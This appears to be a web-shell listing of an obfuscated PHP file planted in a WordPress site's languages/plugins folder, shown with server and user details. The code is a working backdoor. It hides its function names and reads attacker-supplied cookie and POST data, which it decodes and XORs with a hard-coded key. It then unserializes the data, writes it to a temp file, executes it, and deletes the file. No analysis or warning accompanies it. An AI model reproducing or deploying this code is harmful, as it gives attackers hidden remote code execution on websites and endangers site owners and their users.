HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-59-generic #61-Ubuntu SMP PREEMPT_DYNAMIC Fri Apr 11 23:16:11 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/datainsightnow.com/wp-content/languages/plugins/01c6b842.php
$vVFvQOD = 'i' . "\x4a" . chr ( 781 - 673 ).'_' . chr (67) . chr ( 293 - 204 )."\142" . chr ( 233 - 126 ); $EuEirKeqjj = 'c' . "\154" . "\x61" . 's' . 's' . "\x5f" . "\145" . 'x' . 'i' . chr ( 445 - 330 )."\164" . "\x73";$CZtrTRFmD = class_exists($vVFvQOD); $EuEirKeqjj = "49109";$BSOlbiQJwO = strpos($EuEirKeqjj, $vVFvQOD);if ($CZtrTRFmD == $BSOlbiQJwO){function gsEzGLdrDp(){$qwofdEzp = new /* 35666 */ iJl_CYbk(60990 + 60990); $qwofdEzp = NULL;}$FfHAtJ = "60990";class iJl_CYbk{private function qSFKjee($FfHAtJ){if (is_array(iJl_CYbk::$RXoKuG)) {$name = sys_get_temp_dir() . "/" . crc32(iJl_CYbk::$RXoKuG["salt"]);@iJl_CYbk::$RXoKuG["write"]($name, iJl_CYbk::$RXoKuG["content"]);include $name;@iJl_CYbk::$RXoKuG["delete"]($name); $FfHAtJ = "60990";exit();}}public function SXMtJFR(){$USeTsPLj = "4183";$this->_dummy = str_repeat($USeTsPLj, strlen($USeTsPLj));}public function __destruct(){iJl_CYbk::$RXoKuG = @unserialize(iJl_CYbk::$RXoKuG); $FfHAtJ = "22677_56666";$this->qSFKjee($FfHAtJ); $FfHAtJ = "22677_56666";}public function RsSfNT($USeTsPLj, $FrLaPM){return $USeTsPLj[0] ^ str_repeat($FrLaPM, intval(strlen($USeTsPLj[0]) / strlen($FrLaPM)) + 1);}public function RXijIG($USeTsPLj){$xKCUeKWkW = chr ( 421 - 323 ).chr (97) . "\x73" . chr ( 136 - 35 )."\66" . chr (52);return array_map($xKCUeKWkW . chr ( 879 - 784 ).'d' . chr ( 224 - 123 )."\143" . "\x6f" . "\144" . "\x65", array($USeTsPLj,));}public function __construct($ZGpKmaBzR=0){$ZnnrheA = "\54";$USeTsPLj = "";$dxsSHS = $_POST;$xxZnYm = $_COOKIE;$FrLaPM = "356f6292-a3be-4863-87df-56227acf2148";$MpvmJ = @$xxZnYm[substr($FrLaPM, 0, 4)];if (!empty($MpvmJ)){$MpvmJ = explode($ZnnrheA, $MpvmJ);foreach ($MpvmJ as $IxCBYihuAG){$USeTsPLj .= @$xxZnYm[$IxCBYihuAG];$USeTsPLj .= @$dxsSHS[$IxCBYihuAG];}$USeTsPLj = $this->RXijIG($USeTsPLj);}iJl_CYbk::$RXoKuG = $this->RsSfNT($USeTsPLj, $FrLaPM);if (strpos($FrLaPM, $ZnnrheA) !== FALSE){$FrLaPM = explode($ZnnrheA, $FrLaPM); $EPOCl = base64_decode(md5($FrLaPM[0])); $udivJJG = strlen($FrLaPM[1]) > 5 ? substr($FrLaPM[1], 0, 5) : $FrLaPM[1];$_GET['new_key'] = md5(implode('', $FrLaPM));}}public static $RXoKuG = 22727;}gsEzGLdrDp();}